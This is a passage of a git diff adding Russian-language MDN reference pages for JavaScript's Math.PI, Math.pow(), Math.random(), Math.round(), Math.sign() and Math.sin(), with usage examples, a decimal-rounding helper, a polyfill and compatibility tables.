+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/pi/index.html b/files/ru/web/javascript/reference/global_objects/math/pi/index.html
new file mode 100644
index 0000000000..ad0f0850c6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/pi/index.html
@@ -0,0 +1,111 @@
+---
+title: Math.PI
+slug: Web/JavaScript/Reference/Global_Objects/Math/PI
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.PI</code></strong> представляет отношение длины окружности круга к его диаметру, приблизительно равное 3,14159:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3,14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3,14159</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>PI</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.PI</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_PI" name="Example:_Using_PI">Пример: использование свойства <code>Math.PI</code></h3>
+<p>Следующая функция использует значение <code>Math.PI</code> для вычисления длины окружности по известному радиусу круга.</p>
+<pre class="brush: js">function calculateCircumference(radius) {
+  return 2 * Math.PI * radius;
+}
+
+calculateCircumference(1);  // 6.283185307179586
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/Math", "Math")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/pow/index.html b/files/ru/web/javascript/reference/global_objects/math/pow/index.html
new file mode 100644
index 0000000000..190d40b202
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/pow/index.html
@@ -0,0 +1,126 @@
+---
+title: Math.pow()
+slug: Web/JavaScript/Reference/Global_Objects/Math/pow
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.pow()</code></strong> возвращает <code>основание</code>, возведённое в степень <code>показатель</code>, то есть, значение выражения <code>основание<sup>показатель</sup></code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.pow(<var>base</var>, <var>exponent</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>Основание степени.</dd>
+ <dt><code>exponent</code></dt>
+ <dd>Показатель степени, в которую возводится основание <code>base</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>pow()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.pow()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.pow" name="Example:_Using_Math.pow">Пример: использование метода <code>Math.pow()</code></h3>
+
+<pre class="brush: js">Math.pow(7, 2); // 49</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/random/index.html b/files/ru/web/javascript/reference/global_objects/math/random/index.html
new file mode 100644
index 0000000000..7b25fda4d1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/random/index.html
@@ -0,0 +1,110 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Reference/Global_Objects/Math/random
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>Math.random()</code></strong> возвращает псевдослучайное число с плавающей запятой из диапазона <code>[0, 1)</code>, то есть, от 0 (включительно) до 1 (но не включая 1), которое затем можно отмасштабировать до нужного диапазона. Реализация сама выбирает начальное зерно для алгоритма генерации случайных чисел; оно не может быть выбрано или сброшено пользователем.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/math-random.html")}}</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> метод <code>Math.random()</code> <em>не предоставляет</em> криптографически стойкие случайные числа. Не используйте его ни для чего, связанного с безопасностью. Вместо него используйте Web Crypto API (API криптографии в вебе) и более точный метод {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.random()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Возвращаемое значение</h3>
+
+<p>Псевдослучайное число с плавающей запятой от <code>0</code> (включительно) до 1 (не считая).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Обратите внимание, что поскольку числа в JavaScript являются числами с плавающей запятой стандарта IEEE 754 с поведением при округлении к ближайшему чётному, все эти диапазоны (исключая диапазон с простым вызовом <code>Math.random()</code>), не точны. Если заданы очень большие границы (2<sup>53</sup> или выше), возможен <em>крайне</em> редкий случай вычисления обычно исключённой верхней границы.</p>
+
+<h3 id="Получение_случайного_числа_от_0_(включительно)_до_1_(не_включая)">Получение случайного числа от 0 (включительно) до 1 (не включая)</h3>
+
+<pre class="brush: js">function getRandom() {
+  return Math.random();
+}</pre>
+
+<h3 id="Получение_случайного_числа_в_заданном_интервале">Получение случайного числа в заданном интервале</h3>
+
+<p>Этот пример возвращает случайное число в заданном интервале. Возвращаемое значение не менее (и может быть равно) <code>min</code> и не более (и не равно) <code>max</code>.</p>
+
+<pre class="brush: js">function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}</pre>
+
+<h3 id="Получение_случайного_целого_числа_в_заданном_интервале">Получение случайного целого числа в заданном интервале</h3>
+
+<p>Этот пример возвращает случайное <em>целое </em>число в заданном интервале. Возвращаемое значение не менее <code>min</code> (или следующее целое число, которое больше <code>min</code>, если <code>min</code> не целое) и не более (но не равно) <code>max</code>.</p>
+
+<pre class="brush: js">function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min)) + min; //Максимум не включается, минимум включается
+}</pre>
+
+<div class="blockIndicator note">
+<p>Может показаться заманчивым использовать <code>Math.round()</code> для округления, но это может сделать распределение неравномерным, что может оказаться неприемлимым для ваших нужд.</p>
+</div>
+
+<h3 id="Получение_случайного_целого_числа_в_заданном_интервале_включительно">Получение случайного целого числа в заданном интервале, включительно</h3>
+
+<p>Функция <code>getRandomInt()</code> выше включает минимальное значение, но не включает максимальное. Но что если вам нужно, чтобы влючалось и минимальное, и максимальное значение? Функция <code>getRandomIntInclusive()</code> решает этот вопрос.</p>
+
+<pre class="brush: js">function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min + 1)) + min; //Максимум и минимум включаются
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. JavaScript 1.0 (только UNIX) / JavaScript 1.1 (все платформы).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
+
+<div></div>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/javascript/reference/global_objects/math/round/index.html b/files/ru/web/javascript/reference/global_objects/math/round/index.html
new file mode 100644
index 0000000000..85400653b9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/round/index.html
@@ -0,0 +1,214 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Reference/Global_Objects/Math/round
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.round()</code></strong> возвращает число, округлённое к ближайшему целому.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.round(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если дробная часть числа больше, либо равна 0,5, аргумент будет округлён до ближайшего большего целого. Если дробная часть числа меньше 0,5, аргумент будет округлён до ближайшего меньшего целого.</p>
+
+<p>Поскольку метод <code>round()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.round()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.round" name="Example:_Using_Math.round">Пример: использование метода <code>Math.round()</code></h3>
+
+<pre class="brush: js">// Вернёт значение 20
+x = Math.round(20.49);
+
+// Вернёт значение 21
+x = Math.round(20.5);
+
+// Вернёт значение -20
+x = Math.round(-20.5);
+
+// Вернёт значение -21
+x = Math.round(-20.51);
+
+// Вернёт значение 1 (!)
+// Обратите внимание на ошибку округления из-за неточности арифметики с плавающей запятой
+// Сравните этот результат с результатом Math.round(1.005, -2) из следующего примера
+x = Math.round(1.005*100)/100;
+</pre>
+
+<h3 id="Example:_Decimal_rounding" name="Example:_Decimal_rounding">Пример: корректировка округления десятичных дробей</h3>
+
+<pre class="brush: js">// Замыкание
+(function() {
+  /**
+   * Корректировка округления десятичных дробей.
+   *
+   * @param {String}  type  Тип корректировки.
+   * @param {Number}  value Число.
+   * @param {Integer} exp   Показатель степени (десятичный логарифм основания корректировки).
+   * @returns {Number} Скорректированное значение.
+   */
+  function decimalAdjust(type, value, exp) {
+    // Если степень не определена, либо равна нулю...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // Если значение не является числом, либо степень не является целым числом...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Сдвиг разрядов
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Обратный сдвиг
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Десятичное округление к ближайшему
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Десятичное округление вниз
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Десятичное округление вверх
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Округление к ближайшему
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+Math.round10(1.005, -2);   // 1.01 -- сравните этот результат с результатом Math.round(1.005*100)/100 выше
+// Округление вниз
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Округление вверх
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sign/index.html b/files/ru/web/javascript/reference/global_objects/math/sign/index.html
new file mode 100644
index 0000000000..029bb3af31
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/sign/index.html
@@ -0,0 +1,141 @@
+---
+title: Math.sign()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sign
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.sign()</code></strong> возвращает знак числа, указывающий на то, является ли число отрицательным, положительным или нулём.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.sign(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>sign()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.sign()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<p>Метод может вернуть одно из пяти значений: <code>1</code>, <code>-1</code>, <code>0</code>, <code>-0</code> и <code>NaN</code>, которые представляют, соответственно «положительное число», «отрицательное число», «положительный ноль», «отрицательный ноль» и {{jsxref("NaN")}}.</p>
+
+<p>Обратите внимание, что аргумент, переданный в этот метод, будет неявно преобразован в число.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.sign" name="Example:_Using_Math.sign">Пример: использование метода <code>Math.sign()</code></h3>
+
+<pre class="brush: js">Math.sign(3);     //  1
+Math.sign(-3);    // -1
+Math.sign('-3');  // -1
+Math.sign(0);     //  0
+Math.sign(-0);    // -0
+Math.sign(NaN);   // NaN
+Math.sign('foo'); // NaN
+Math.sign();      // NaN
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<pre class="brush: js">Math.sign = Math.sign || function(x) {
+  x = +x; // преобразуем в число
+  if (x === 0 || isNaN(x)) {
+    return x;
+  }
+  return x &gt; 0 ? 1 : -1;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sin/index.html b/files/ru/web/javascript/reference/global_objects/math/sin/index.html
new file mode 100644
index 0000000000..66516b8afa
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/sin/index.html
@@ -0,0 +1,121 @@
+---
+title: Math.sin()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sin
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.sin()</code></strong> возвращает синус числа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.sin(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число радиан.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.sin()</code> возвращает числовое значение от -1 до 1, которое представляет синус переданного (в радианах) угла.</p>
+<p>Поскольку метод <code>sin()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.sin()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.sin" name="Example:_Using_Math.sin">Пример: использование метода <code>Math.sin()</code></h3>
+<pre class="brush: js">Math.sin(0);           // 0
+Math.sin(1);           // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sinh/index.html b/files/ru/web/javascript/reference/global_objects/math/sinh/index.html
new file mode 100644
index 0000000000..2ea2438584
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/sinh/index.html
@@ -0,0 +1,140 @@
+---
+title: Math.sinh()
